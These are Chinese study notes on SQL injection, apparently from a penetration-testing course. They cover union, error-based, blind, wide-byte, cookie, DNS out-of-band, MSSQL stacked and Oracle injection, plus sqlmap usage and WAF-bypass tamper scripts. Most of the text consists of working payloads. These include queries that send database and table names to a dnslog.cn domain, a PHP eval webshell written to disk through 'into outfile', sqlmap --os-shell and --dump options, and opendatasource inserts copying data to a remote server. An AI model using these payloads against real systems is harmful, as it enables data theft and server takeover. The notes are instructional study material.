sql注入
information_schema 自带库
information_schema.tables 记录表名的表
information_schema.columns 记录列名的表
table_name 表名
column_name 列名
table_schema 数据库名
limit n.m n位数(0开始),m个数 限制输出
1.判断是否存在注入 and 1=1 and 1=2
2.判断字段数 order by n
3.判断显错位 (使前者不成立 例and 1=2)union select 1,2..
4.判断库名 显错位上database()
5.判断表名
union select 1,table_name from information_schema.tables where table_schema=database()
6.判断列名
union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit.....
7.寻找具体数据
select 列名 from 表名
sqlmap
一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入
python sqlmap.py -u 网址
--dbs 测试存在什么数据库
-D 指定某个数据库
--tables 查表
-T 指定表
--columns 查字段
-C 指定字段
--dump 获取目标数据(慎)
--random-agent 随机user-agents头 防止被ban
--delay=1 每次探测延时一秒 防止被ban
--count 查看数据量
--level 1-5(--level 3 --risk 2)>2检测cookie注入,>3检测头注入 risk测试更多语句 --risk 2
--flush-session 忽略缓存
--is-dba 查询当前注入点的用户权限
--os-shell 获取注入点服务器的cmd权限(--is-dba为true才能使用 为true不一定能取得权限)
--proxy 代理 --proxy=http://127.0.0.1:8080 (在BP上看)
-r 文件 抓包跑
--tamper **.py(脚本名)
sqlmap自动跑get注入
post注入
sqlmap跑post注入(跑不出来 加--level 1-5(--level 3 --risk 2))
1.--form 自动检测表单
2.-r 文件 抓包跑 在有sql注入地方加*(也可不加)
post注入/get注入 head注入 传参方式不同(本质上没有区别)
get 传参在url栏里,并url编码
head注入
请求头(header):数据包从第一行到空白行之前,一般最后一行是Connection:close
网站可以获取请求头的信息
不同浏览器访问不同---请求头造成
$_SERVER php接收到请求后的一些默认数据
1.head传参可能被数据库记录或查询
2.head 告诉网站来访者的一些信息, 一般只记录用户
head注入(用户登录时所记录 UA IP RERFER)
记录(插入语句/存入) insert(没有回显,联合查询无用)
查询必须有结果才有意义
无回显方法:
1.盲注
2.外带(dns注入),数据拼接某某带出去
3.报错注入(数据库执行失败,抛出错误) 报错只能报错字符串!(多个字段和多个数据返回的是表)(post/head传参)
updatexml() 更新xml里面的内容
updatexml(需要替换的值,替换的文件路径,替换成什么)
updatexml(1,路径,1) 路径存在特殊符号就会报错
concat( , , ,) 字符串拼接
() 子查询 先处理括号内的代码
例:updatexml(1,concat('!',(select database())),1) -- 报错时会显示子查询结果
(1)用户登录时抓包
(2)在未被过滤的变量且与数据库产生交互的地方添加代码(sql注入核心就是将用户输入的数据当做代码执行)
关于ip:
负载均衡 CDN(缓解被访问的压力)
CDN 把静态的东西放到节点上
a 访问负载均衡,负载均衡的服务器没有,负载均衡服务器访问原始服务器 无论谁访问都是负载均衡服务器的ip
主呼叫台要告诉服务器来访者的ip
对ip不校验的,就会存在head注入,请求头可以自己加
X-Forwarded-For:(空格)代码 (负载均衡的服务器向主服务器提供访问者ip)
绕过单引号过滤
闭合:1.自己加 2.让原本失效
\转义‘ 使其失效
盲注
目标存在注入,页面无回显
一.布尔盲注
length() 返回字段长度
substr(截取的字符串,截取的位数,截取的个数) 从1开始
ascii()
1. 判断是否存在sql注入
and 1=2
and 1=1
2.判断字段数
order by 数字
3.判断显错位,若无回显,有可能是盲注
and 1=2 union select 1,2
4.判断库名长度
and length(database())>数字 (=)
5.判断库名
substr(截取的字符串,截取的位数,截取的个数) 从1开始
法1:and substr(database(),1,1)='k'
法2:and ascii(substr(database(),位数,1))>数字(=)抓包跑(通过页面回显长度判断)
ord()
6.表名长度
()子查询
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>数字
7.表名
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),位数,1))>数字 (=) 抓包
8.列名长度
and length((select column_name from information_schema.columns where tabel_schema=database() and table_name=' '))>数字
9.列名
and ascii(substr((select column_name from information_schema.columns where tabel_schema=database() and table_name=' '),位数,1))>数字 (=)抓包
10.查询
and length((select .. from .. limit 0,1))>1
and ascii(substr((select .. from ..,1,1))=数字 [65,126] 抓包跑
二.时间盲注
返回值只有一种(输入错误代码不会改变页面回显)
sleep(),通过响应时间判断
if(条件,条件成立后执行的结果,不成立后执行的结果)
例:and if(length(database())=12,sleep(5),1)
其他的和布尔盲注类似
宽字节注入
php防御函数:
判断解析用户提交的数据,post,get,cookie提交的数据加入转义字符\
magic_quotes_gpc 低版本 修改配置文件 强行执行
addslashes() 高版本 特定函数
不让闭合,绕过
1.找不需要闭合的地方
2.查看作用域
3.宽字节注入(数据库非utf-8,非英文编码理论上都可)
前端页面gbk,数据库是gbk的可能性大
多字符编码:多个字符组在一起成为一个字
gbk:双字节编码
编码不同有歧义
URL编码:16进制
数据库使用gbk编码可能存在宽字节注入,传一个字符将\吃掉,尝试
SET NAMES 'gbk' 或者SET character_set_client=gbk 会造成宽字节产生
做:
%df\ =>汉字 %df,%9c (让\和字符组成一个汉字)
id='1' => (加%9c' -- qwe )=> id='1%9c\' -- qwe ' => id='1%9c\' (添加代码)-- qwe '
1.替代法
table_schema=' ' -> table_schema=database()
table_name=' ' -> table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)
2.16进制法:
mysql支持16进制输入,替代字符串
user -> 0x75736572
post传参
%df->url编码后的内容
1.抓包直接改hex(改为df)
2.传参汉字(有些汉字不可以)
sqlmap跑:
1.直接跑需要手动闭合,将\转为汉字(%df)
2.抓包跑
access-cookie注入
access 微软数据库 表的集合,没有库
Cookie通常包含有关用户的信息、会话标识符、网站首选项和其他数据,代表用户身份的一串字符串
获得了管理员cookie,无需密码直接登录管理员账户
原理:$_REQUEST[] 获取post,get,cookie传参,get\post被过滤,cookie没被过滤时,可以考虑cookie传参
设置cookie:
1.抓包直接修改
添加到请求头 -> Cookie: 值 传参值需要url编码
2.js设置cookie 记得删除get传参
F12,
1.console
document.cookie="<get传参的参数>"
例document.cookie="id=1"
document.cookie="id="+escape("1") escape()编码
2.applicant.cookies直接设置
1.判断是否存在注入,逻辑运算符&& || (url编码)代替 and or
and 1=1
& 1=1
get传参中,&代表多个传参
%24 1=1 (仍然不行)
2.运用加减法判断是否存在注入
3.order by 数字
无法进行联合查询(拦截get传参)
4.尝试cookie,进行联合查询
document.cookie="id="+escape("1 union select 1,2,3 from 表名")
access数据库没有系统自带表,必+ from 表名
5.不知道表、字段:bp抓包爆破(sqlmap data txt字典)
and exists(select * from 表名) exists()检查能否查到数据,返回布尔型
and exists(select 字段 from 表名)
判断数据库类型:
1.指纹识别扫,看cms
2.特征看 .asp(一般是access),union select报错,特有函数去试(mysql有sleep()),系统自带表(mysql有information,access没有),报错信息
limit是mysql数据库特有的
access注入-偏移注入
原理:知道表名,不知字段名 想得到信息的表必须要比原本的表的字段数少
核心 -> 表.* 表里的所有字段
库.表.字段 这个库里的这个表的这个字段
document.cookie='id='+escape(" 1 union select 1,2,3,4,5,admin.* from admin") 判断admin表里字段数
...union select 1,2,3,4,admin.*,10 from admin... 移动通过显错位看每个字段的结果
偏移注入不能知道字段名,但能知道字段结果(网页显示、源码显示 +9999 看显错位 )
Mysql-dns注入
dns注入 -> 让盲注变成显错注入
dns -> 域名解析 把域名转换为ip
load_file(‘文件路径’) 读取文件的函数 支持unc路径 支持绝对、相对路径
Mysql配置文件添加 secure_file_priv= 才能使用该函数
windows SMB服务(共享文件)
UNC路径 //../..
例:
file://LAPTOP-588E940P/other
//LAPTOP-588E940P/other (unc) LAPTOP-588E940P服务器的某端口
dns -> LAPTOP-588E940P 解析
日志 记录一切
dns可能日志:某时间某ip查某域名
搭建一个dns服务器承接域名解析,所有的访问域名都会被日志记录
域名 ->由运营商解析。修改域名设置方法,强行指定某ip去解析域名 即NS记录
固定的域名 由固定的dns服务器解析
例:cxkavd.dnslog.cn
select load_file('//cxkavd.dnslog.cn')
select load_file(concat('//',database(),'.cxkavd.dnslog.cn'))
select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cxkavd.dnslog.cn'))
obb ->数据外带
弱点:
1.目标需要有网络
2.SMB服务 windows自带,linux不自带
白名单绕waf:
waf:网站的安全软件
计算机中黑白名单
后端脚本可以传参
txt jpg 传参没用,waf不会拦截
/1.txt?id=1 and 1=1
web容器特性:apache 请求的文件不存在,自动请求前一个
dns注入大致流程:
/1.txt?id=1 and 1=1
/1.txt?id=1 and 1=2 (不报错,和前面显示一样)
/1.txt?id=1 and sleep(5) 如果延时,则延时盲注
/1.txt?id=1 and load_file(concat('//',database(),'.cxkavd.dnslog.cn'))
sql注入一句话木马
load_file() 读取文件
写文件 into outfile
into dumpfile
例:select 1 into outfile '188.txt'
一句话木马:简单的一行代码就可以操作目标服务器
<?php eval($_REQUEST[8]);?> 8可以是任意字符
eval() 把字符串当做代码执行
执行任意php代码 注意反引号
webshell管理工具
菜刀、蚁剑、c刀、冰蝎、哥斯拉
判断字段
union select 1,sleep(10) 若延时,则两字段
union select 1,'<?php eval($_REQUEST[8]);?>' into outfile '路径\555.php' 开始不存在555.php,执行该代码后出现
waf会拦截页面报错或显示敏感信息
加/1.txt绕过waf
连接菜刀
MSSQL注入-反弹注入+堆叠注入
MSSQL -> SQL Server 数据库
MSSQL注入:
联合查询时字段类型很重要 null(mysql数据库最特殊)
union select 1,2,3 --> union select null,null,null
字符、数字尝试显错位
MSSQL兼容Mysql,(1)可以用系统自带库去查表名、字段名
union select null,table_name,null from information_schema.tables;
(2)xtype: S系统自带 U用户自创
sysobjects 查询表名(xtype='U') 记录表名id 222222222
例:select * from sysobjects where xtype='U'
syscolumns 字段(id=)
例:select * from syscolumns where id=222222222
union select id,name,null from sysobjects where xtype='U';
union select id,name,null from syscolumns where id=222222222;
union
union all 显示重复值
反弹注入:
核心:把盲注变成显错,将查询到的结果插入远程数据库里
obb 利用外带数据的方式得到想要的内容
opendatasource(连接的组件,连接账号密码)
创一个空表复制数据(字段数必须相同)
堆叠注入: ;把前面语句结束,后面写自己的语句
;insert into opendatasource('sqloledb','server=;uid=;pwd=;database=').库.dbo.表 select ...
把后面查询的结果复制到你建的空表中
oracle注入-报错注入
59.63.200.79:8080/index_x.php oracle数据库
oracle数据库,讲究语法格式 库被弱化,用户被强化
dual 虚表,满足格式
例:select 函数 from dual;
select dbms_random.random from dual 生成随机数
select user from dual 得到用户
select * from all_tables 所有表
select * from user_tables 当前用户的表
select * from all_tab_columns 所有字段
select * from user_tab_columns 当前用户的字段
rownum=1 (<3)对结果标注行号
oracle实现limit:
1.不等于法(把不需要的排除)数据多麻烦
and rownum=1 and column_name<>'pass'
2.重命名法
别名可以用于字段名
select column_name from (select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=2
1970-01-01 08:00:00 时间戳(以1970为基准)
页面只有数字回显:
1.盲注
2.报错注入 只能返回字符串
and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where rownum=1))
实现limit用前两种方法
3.转化类型,文字类型未知
to_nchar 将varchar2转为nvarchar2
union select 1,2,to_nchar(table_name),4 from user_tables
4.通过函数对字符串的处理变成数字
切割字符串,转数字看回显
sqlmap绕waf脚本编写
waf
定义:web应用防护系统(网站应用级入侵防御系统) web application firewalld
目的:防御网站被入侵
具体手段:检测入侵者,拦截访问页面或跳转其他页面或禁止ip访问
有些网站不一定装了waf,但会有其他防御
waf检测机制核心:正则表达式
检测维度:
1.用户传参,get post head
2.文件内容,如一句话木马
3.扩展 有些返回页面也拦截(敏感信息,配置信息报错)
绕waf:本地测试 测试成功之后再拿出来用
很多时候遇到的防护不是waf
常见绕过手法:
1.用其他函数、写法替代
$a=get_defined_functions();$a['internal'][841]($_GET['a']); 一句话木马
过滤:组合试or强过滤 union auniona aunona unionselect......
常见替代:空格用+代替(url编码)或/**/ sleep()用sleep/**/()
2.大小写绕过(有些老waf)union->uNiON
3.替换绕过,有些过滤 代码检测到就删除 uniounionn->union
4.编码绕过 网站因为功能需要有编解码(必须后端有解码,写编码才有用)
5.注释绕过 waf有时认为注释后的东西是安全的,可以尝试hpp
http://xxx.com/id=1 /*order by 1&id=1 and sleep(1) --qwe*/ 后面传参把前面覆盖了
6.白名单绕过 本地访问,管理员权限 可能不拦截
1)文件白名单 (dns注入)/1.txt
2)用户白名单
7.垃圾数据填充 waf检测东西需要时间,有时有长度限制 post传参
id=1/*NNDJAkjdjalKLSL(15w-100w)*/ order by 1 -- qwe
sqlmap中的tamper模块自带防过滤脚本(--tamper xxx.py)
webshell.cc/7162.html 解释脚本,脚本里注释也有
脚本
dependencies 声明脚本适用范围 一般是pass
payload ->原本sqlmap要执行的代码 **kwargs(很少用) 设置https头
绕过脚本替换,把原本的东西替换为其他东西
python里替换函数
payload=paload.replace(xx,xxx) 把xx替换成xxx
import re (python中正则不能直接用,先导入模块)
re.sub(替换前内容,替换后,要替换值) 写正则标识符 r"正则表达式"
sqlmap跑:
python sqlmap.py -r 文件 --tamper **.py
--flush-session 忽略缓存
--proxy 代理 --proxy=http://127.0.0.1:8080 (在BP上看)
--delay=1 每次探测延时一秒 防止被ban